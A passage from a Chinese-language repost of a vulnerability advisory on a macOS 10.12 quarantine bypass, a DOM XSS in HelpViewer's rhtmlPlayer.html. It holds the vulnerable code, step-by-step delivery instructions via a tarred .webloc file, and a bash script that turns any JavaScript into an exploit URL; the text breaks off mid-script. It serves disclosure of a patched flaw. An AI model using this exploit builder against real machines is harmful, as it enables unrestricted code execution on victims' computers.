{"id":9884,"date":"2017-10-15T14:19:11","date_gmt":"2017-10-15T22:19:11","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/10\/15\/news-3657\/"},"modified":"2017-10-15T14:19:11","modified_gmt":"2017-10-15T22:19:11","slug":"news-3657","status":"publish","type":"post","link":"https:\/\/www.palada.net\/index.php\/2017\/10\/15\/news-3657\/","title":{"rendered":"SSD\u5b89\u5168\u516c\u544a \u2013 Mac OS X 10.12\u9694\u79bb\u673a\u5236\u7ed5\u8fc7\u6f0f\u6d1e"},"content":{"rendered":"<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Sun, 15 Oct 2017 06:02:53 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<p><strong>Want to get paid for a vulnerability similar to this one?<\/strong><br \/>Contact us at: <a href=\"mailto:sxsxd@bxexyxoxnxdxsxexcxuxrxixtxy.com\" onmouseover=\"this.href=this.href.replace(\/x\/g,'');\" id=\"a-href-3481\">sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom<\/a><\/p>\n<p><script>var obj = jQuery('#a-href-3481');if(obj[0]) { obj[0].innerText = obj[0].innerText.replace(\/x\/g, ''); }<\/script>  \t\t<\/p>\n<div class=\"pf-content\">\n<p><strong>\u6f0f\u6d1e\u6982\u8981<\/strong><br \/> Mac OS X\u5b58\u5728\u4e00\u4e2a\u6f0f\u6d1e\uff0c\u8be5\u6f0f\u6d1e\u5141\u8bb8\u653b\u51fb\u8005\u7ed5\u8fc7Apple\u7684\u9694\u79bb\u673a\u5236\uff0c\u4e0d\u53d7\u4efb\u4f55\u9650\u5236\u6267\u884c\u4efb\u610fJavaScript\u4ee3\u7801.<\/p>\n<p><strong>\u6f0f\u6d1e\u63d0\u4ea4\u8005<\/strong><br \/> \u6765\u81eaWeAreSegment\u7684\u5b89\u5168\u7814\u7a76\u8005Filippo Cavallarin\u5411Beyond Security\u7684SSD\u62a5\u544a\u4e86\u8be5\u6f0f\u6d1e.<\/p>\n<p><strong>\u5382\u5546\u54cd\u5e94<\/strong><\/p>\n<p>\u82f9\u679c\u516c\u53f8\u5df2\u4e8e2017\u5e746\u670827\u65e5\u6536\u5230\u4e86\u6211\u4eec\u7684\u62a5\u544a\uff0c\u5e76\u548c\u6211\u4eec\u8fdb\u884c\u4e86\u591a\u6b21\u6c9f\u901a\u3002\u82f9\u679c\u516c\u53f8\u901a\u77e5\u6211\u4eec\uff0c\u5728\u5373\u5c06\u53d1\u5e03\u7684High Sierra\u64cd\u4f5c\u7cfb\u7edf\u4e2d\u4f1a\u4fee\u8865\u8fd9\u4e2a\u6f0f\u6d1e\u3002\u8fd9\u4e4b\u540e\uff0c\u82f9\u679c\u516c\u53f8\u518d\u6ca1\u6709\u63d0\u4f9b\u4efb\u4f55\u5176\u4ed6\u4fe1\u606f \u2013 \u65e2\u6ca1\u6709\u94fe\u63a5\u516c\u544a\uff0c\u4e5f\u6ca1\u6709\u63d0\u4f9b\u5173\u4e8eCVE\u7f16\u53f7\u5206\u914d\u7684\u4efb\u4f55\u4fe1\u606f.<\/p>\n<p>\u6211\u4eec\u5df2\u7ecf\u9a8c\u8bc1\u5728Mac OS X High Sierra\u4e2d\u5df2\u4e0d\u5b58\u5728\u8be5\u6f0f\u6d1e\u3002\u5bf9\u4e8e\u8be5\u6f0f\u6d1e\u7684\u89e3\u51b3\u529e\u6cd5\u662f\u5347\u7ea7\u5230Mac OS X High Sierra\uff0c\u6216\u8005\u79fb\u9664rhtmlPlayer.html\u6587\u4ef6\u4fee\u590d\u8be5\u6f0f\u6d1e.<\/p>\n<p><span id=\"more-3481\"><\/span><\/p>\n<p><strong>\u6f0f\u6d1e\u8be6\u7ec6\u4fe1\u606f<\/strong><br \/> \u82f9\u679c\u9694\u79bb\u673a\u5236\u7684\u8fd0\u884c\u539f\u7406\u662f\u5728\u4e0b\u8f7d\u7684\u6587\u4ef6\u4e0a\u8bbe\u7f6e\u4e00\u4e2a\u6269\u5c55\u5c5e\u6027(\u4ece\u5df2\u4e0b\u8f7d\u7684\u5f52\u6863\u6587\u6863\/\u56fe\u7247\u63d0\u53d6\u7684\u6587\u4ef6\u4e5f\u9002\u7528)\uff0c\u4ee5\u4fbf\u7cfb\u7edf\u5728\u53d7\u9650\u5236\u7684\u73af\u5883\u4e2d\u6253\u5f00\/\u6267\u884c\u8fd9\u4e9b\u6587\u4ef6.<\/p>\n<p>\u4f8b\u5982\uff0c\u4e00\u4e2a\u88ab\u9694\u79bb\u7684HTML\u6587\u4ef6\u4e0d\u80fd\u52a0\u8f7d\u672c\u5730\u8d44\u6e90.<\/p>\n<p>\u6b64\u6f0f\u6d1e\u5b58\u5728\u4e8e\u4e00\u4e2ahtml\u6587\u4ef6\uff08Mac OS X\u5185\u6838\u7684\u4e00\u90e8\u5206\uff09\u4e2d\uff0c\u5bb9\u6613\u53d7\u5230\u57fa\u4e8eDOM\u7684XSS\u653b\u51fb\uff0c\u5141\u8bb8\u5728\u5176\uff08\u65e0\u9650\u5236\uff09\u4e0a\u4e0b\u6587\u4e2d\u6267\u884c\u4efb\u610fJavaScript\u547d\u4ee4.<\/p>\n<p>\u4e0a\u8ff0\u6587\u4ef6\u7684\u5177\u4f53\u8def\u5f84\u4e3a\uff1a<em>\/System\/Library\/CoreServices\/HelpViewer.app\/Contents\/Resources\/rhtmlPlayer.html<\/em><\/p>\n<p>\u6587\u4ef6\u5305\u542b\u5982\u4e0b\u4ee3\u7801:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59e3dedf2dd51164308335\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-mixed-highlight\" title=\"Contains Mixed Languages\"><\/span><\/p>\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &lt;script type=&#8221;text\/javascript&#8221; charset=&#8221;utf-8&#8243;&gt;      setBasePathFromString(urlParam(&#8220;rhtml&#8221;));  loadLocStrings();  loadJavascriptLibs();     function init () { \/* &lt;&#8211; called by &lt;body onload=&#8221;init()&#8221; *\/    [&#8230;]        rHTMLPath = urlParam(&#8220;rhtml&#8221;); \/* &lt;&#8211; takes &#8216;rhtml&#8217; parameters from current url *\/        [&#8230;]        self.contentHttpReq.open(&#8216;GET&#8217;, rHTMLPath, true);    self.contentHttpReq.onreadystatechange = function() {        if (self.contentHttpReq.readyState == 4) {            loadTutorial(self.contentHttpReq.responseText);        }    }    [&#8230;]  }     function loadTutorial(response) {    var rHTMLPath = urlParam(&#8220;rhtml&#8221;);        \/\/ this will create a tutorialData item    eval(response);    [&#8230;]  }     function loadLocStrings()  {    var headID = document.getElementsByTagName(&#8220;head&#8221;)[0];             var rHTMLPath = urlParam(&#8220;rhtml&#8221;);        rHTMLPath = rHTMLPath.replace(&#8220;metaData.html&#8221;, &#8220;localizedStrings.js&#8221;);    var newScript = document.createElement(&#8216;script&#8217;);    newScript.type = &#8216;text\/javascript&#8217;;    newScript.src = rHTMLPath;    headID.appendChild(newScript);        }  [&#8230;]  &lt;\/script&gt;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0049 seconds] -->  <\/p>\n<p>\u7b80\u800c\u8a00\u4e4b\uff0c\u8fd9\u6bb5\u4ee3\u7801\u4ece\u201crhtml\u201d\u67e5\u8be2\u5b57\u7b26\u4e32\u53c2\u6570\u4e2d\u63d0\u53d6URL\u5730\u5740\uff0c\u5411\u8be5URL\u53d1\u51fa\u8bf7\u6c42\uff0c\u5e76\u5c06\u54cd\u5e94\u6570\u636e\u4f5c\u4e3aJavaScript\u4ee3\u7801\u52a0\u4ee5\u6267\u884c.<\/p>\n<p>\u4e0b\u9762\u7684\u4ee3\u7801\u5305\u542b\u4e24\u6bb5\u4e0d\u540c\u7684\u57fa\u4e8eDOM\u7684XSS\u7684\u4ee3\u7801\u3002\u7b2c\u4e00\u4e2a\u662f\u5728loadLocStrings()\u51fd\u6570\u4e2d\u521b\u5efa\u4e00\u4e2aSCRIPT\u5143\u7d20\uff0c\u5e76\u4f7f\u7528\u201crhtml\u201d\u53c2\u6570\u4f5c\u4e3a\u5176\u201csrc\u201d\u5c5e\u6027\u3002\u7b2c\u4e8c\u4e2a\u662f\u5728init()\u51fd\u6570\u4e2d\u4f7f\u7528\u201crhtml\u201d\u53c2\u6570\u8fdb\u884cajax\u8c03\u7528\uff0c\u7136\u540e\u5c06\u54cd\u5e94\u76f4\u63a5\u4f20\u9012\u7ed9eval()\u3002\u8fd9\u6837\u505a\u7684\u7ed3\u679c\u662f\u540c\u6837\u7684\u8f7d\u8377\u88ab\u6267\u884c\u4e24\u6b21.<\/p>\n<p>\u653b\u51fb\u8005\u901a\u8fc7\u63d0\u4f9b\u4e00\u4e2auri\uff0c\u5c31\u53ef\u4ee5\u63a7\u5236\u54cd\u5e94\u6570\u636e\uff0c\u8fdb\u800c\u83b7\u5f97\u4ee3\u7801\u6267\u884c.<\/p>\n<p>\u901a\u8fc7\u4f7f\u7528.webloc\u6587\u4ef6\u662f\u4e00\u79cd\u53ef\u80fd\u7684\u6f0f\u6d1e\u5229\u7528\u65b9\u5f0f\u3002\u57fa\u672c\u4e0a\u8fd9\u4e9b\u6587\u4ef6\u90fd\u5305\u542b\u4e00\u4e2aURL\uff0c\u4ed6\u4eec\u53ea\u9700\u5728Safari\u4e2d\u52a0\u8f7d\u5373\u53ef\u3002\u901a\u8fc7\u6784\u9020\u4e00\u4e2a.webloc\u6587\u4ef6\uff0c\u5e76\u8bf1\u5bfc\u53d7\u5bb3\u8005\u6253\u5f00\uff0c\u653b\u51fb\u8005\u5c31\u53ef\u4ee5\u5728\u53d7\u5bb3\u8005\u7684\u8ba1\u7b97\u673a\u4e0a\u4ee5\u9ad8\u6743\u9650\u6267\u884cJavaScript\u547d\u4ee4.<\/p>\n<p>\u7531\u4e8e.webloc\u6587\u4ef6\u540c\u6837\u4f7f\u7528\u6269\u5c55\u5c5e\u6027\u6765\u5b58\u50a8\u6570\u636e\uff0c\u56e0\u6b64\u653b\u51fb\u8005\u5fc5\u987b\u5c06\u6587\u4ef6\u6253\u5305\u653e\u5728tar\u6587\u4ef6\u4e2d\uff08\u6216\u5176\u4ed6\u4efb\u4f55\u652f\u6301\u6269\u5c55\u5c5e\u6027\u7684\u6587\u4ef6\u683c\u5f0f\uff09\u4e2d.<\/p>\n<p><strong>\u6f0f\u6d1e\u8bc1\u660e<\/strong><br \/> \u901a\u8fc7\u4ee5\u4e0b\u6b65\u9aa4\u590d\u73b0\u6f0f\u6d1e<\/p>\n<ol>\n<li>\u521b\u5efa\u4e00\u4e2a\u4f60\u60f3\u8981\u8981\u5728\u76ee\u6807\u4e0a\u6267\u884c\u7684JavaScript\u6587\u4ef6<\/li>\n<li>\u4f7f\u7528base64\u5bf9\u6587\u4ef6\u5185\u5bb9\u7f16\u7801<\/li>\n<li>\u5c06\u5176\u7f16\u7801\u4e3a\u201curi\u7ec4\u4ef6\u201d\uff08\u6bd4\u5982\uff0c\u4f7f\u7528js\u7684encodeURIComponent\u51fd\u6570\u5b8c\u6210\u8fd9\u4e2a\u4efb\u52a1\uff09<\/li>\n<li>\u4f7f\u7528\u5b83\u6765\u6784\u9020\u5982\u4e0b\u5f62\u5f0f\u7684uri\uff1adata:text \/ plain; base64,<urlencoded base64><\/urlencoded><\/li>\n<li>\u5728\u5f00\u5934\u6dfb\u52a0\u5982\u4e0b\u5b57\u7b26\u4e32\uff1afile:\/\/\/System\/Library\/CoreServices\/HelpViewer.app\/Contents\/Resources\/rhtmlPlayer.html?rhtml =<\/li>\n<li>\u4f7f\u7528Safari\u6253\u5f00\u5b83<\/li>\n<li>\u5c06\u5176\u53e6\u5b58\u4e3a\u4e66\u7b7e<\/li>\n<li>\u5c06\u8be5\u4e66\u7b7e\u62d6\u653e\u5230Finder\u4e2d\uff08\u6b64\u65f6\u4f1a\u521b\u5efa\u4e00\u4e2a.webloc\u6587\u4ef6\uff0c\u5982\u679c\u6269\u5c55\u540d\u4e0d\u662f.webloc\uff0c\u91cd\u547d\u540d\u4e3a.webloc\uff09<\/li>\n<li>\u521b\u5efa\u4e00\u4e2a\u5305\u542b.webloc\u6587\u4ef6\u7684tar\u5f52\u6863\u6587\u4ef6<\/li>\n<li>\u5c06\u5f52\u6863\u6587\u4ef6\u53d1\u9001\u7ed9\u53d7\u5bb3\u8005<\/li>\n<\/ol>\n<p>\u8bf7\u6ce8\u610f\uff0c\u53d7\u9650\u4e8erhtmlPlayer.html\u7684\u5904\u7406\u6d41\u7a0b\uff0c\u4e3a\u4e86\u8bbf\u95ee\u672c\u5730\u8d44\u6e90\uff0cJavaScript\u4ee3\u7801\u7684\u7b2c\u4e00\u884c\u5fc5\u987b\u662f:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59e3dedf2dd5d761109333\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> document.getElementsByTagName(&#8220;base&#8221;)[0].href=&#8221;&#8221;;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59e3dedf2dd5d761109333-1\">1<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59e3dedf2dd5d761109333-1\"><span class=\"crayon-v\">document<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">getElementsByTagName<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;base&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">href<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0003 seconds] -->  <\/p>\n<p>\u4ee5\u4e0bbash\u811a\u672c\u4f1a\u5c06JavaScript\u6587\u4ef6\u8f6c\u6362\u4e3a\u6700\u7ec8\u7684\u201c\u6587\u4ef6\u201dURL\uff1a<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59e3dedf2dd60168873140\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> BOF  #!\/bin\/bash     BASEURL=&#8221;file:\/\/\/System\/Library\/CoreServices\/HelpViewer.app\/Contents\/Resources\/rhtmlPlayer.html?rhtml=&#8221;  BASEJS=&#8221;(function(){document.getElementsByTagName(&#8216;base&#8217;)[0].href=&#8221;;if(&#8216;_&#8217; in window)return;window._=1;&#8221;  DATAURI=&#8221;data:text\/plain;base64,&#8221;     JSFILE=$1     if [ &#8220;$JSFILE&#8221; = &#8220;&#8221; ]; then    echo &#8220;usage: $0 &lt;jsfile&gt;&#8221;    exit 1  fi     JS=$BASEJS`cat $JSFILE`&#8221;})();&#8221;  ENCJS=`echo -n $JS | base64 | sed &#8216;s\/=\/%3D\/g&#8217; | sed &#8216;s\/+\/%2F\/g&#8217; | sed &#8216;s\/\/\/%2B\/g&#8217;`  URL=&#8221;$BASEURL&#8221;&#8221;$DATAURI&#8221;&#8221;$ENCJS&#8221;     echo -ne &#8220;Paste the url below into Safari&#8217;s url bar:n\u000033[33m$URL\u000033[0mn&#8221;  EOF<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59e3dedf2dd60168873140-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e3dedf2dd60168873140-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e3dedf2dd60168873140-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e3dedf2dd60168873140-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e3dedf2dd60168873140-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e3dedf2dd60168873140-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e3dedf2dd60168873140-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e3dedf2dd60168873140-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e3dedf2dd60168873140-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e3dedf2dd60168873140-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e3dedf2dd60168873140-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e3dedf2dd60168873140-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e3dedf2dd60168873140-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e3dedf2dd60168873140-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e3dedf2dd60168873140-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e3dedf2dd60168873140-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e3dedf2dd60168873140-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e3dedf2dd60168873140-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e3dedf2dd60168873140-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e3dedf2dd60168873140-20\">20<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59e3dedf2dd60168873140-1\"><span class=\"crayon-v\">BOF<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e3dedf2dd60168873140-2\"><span class=\"crayon-p\">#!\/bin\/bash<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e3dedf2dd60168873140-3\"><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e3dedf2dd60168873140-4\"><span class=\"crayon-v\">BASEURL<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;file:\/\/\/System\/Library\/CoreServices\/HelpViewer.app\/Contents\/Resources\/rhtmlPlayer.html?rhtml=&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e3dedf2dd60168873140-5\"><span class=\"crayon-v\">BASEJS<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;(function(){document.getElementsByTagName(&#8216;base&#8217;)[0].href=&#8221;;if(&#8216;_&#8217; in window)return;window._=1;&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e3dedf2dd60168873140-6\"><span class=\"crayon-v\">DATAURI<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;data:text\/plain;base64,&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e3dedf2dd60168873140-7\"><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e3dedf2dd60168873140-8\"><span class=\"crayon-v\">JSFILE<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-cn\">1<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e3dedf2dd60168873140-9\"><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e3dedf2dd60168873140-10\"><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;$JSFILE&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">then<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e3dedf2dd60168873140-11\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-i\">echo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;usage: $0 &lt;jsfile&gt;&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e3dedf2dd60168873140-12\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-i\">exit<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e3dedf2dd60168873140-13\"><span class=\"crayon-e\">fi<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e3dedf2dd60168873140-14\"><span class=\"crayon-e\"> <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e3dedf2dd60168873140-15\"><span class=\"crayon-v\">JS<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">BASEJS<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-i\">cat<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">JSFILE<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-s\">&#8220;})();&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e3dedf2dd60168873140-16\"><span class=\"crayon-v\">ENCJS<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-v\">echo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">n<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">JS<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">base64<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">sed<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;s\/=\/%3D\/g&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">sed<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;s\/+\/%2F\/g&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">sed<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;s\/\/\/%2B\/g&#8217;<\/span><span class=\"crayon-sy\">`<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e3dedf2dd60168873140-17\"><span class=\"crayon-v\">URL<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;$BASEURL&#8221;<\/span><span class=\"crayon-s\">&#8220;$DATAURI&#8221;<\/span><span class=\"crayon-s\">&#8220;$ENCJS&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e3dedf2dd60168873140-18\"><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e3dedf2dd60168873140-19\"><span class=\"crayon-v\">echo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">ne<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;Paste the url below into Safari&#8217;s url 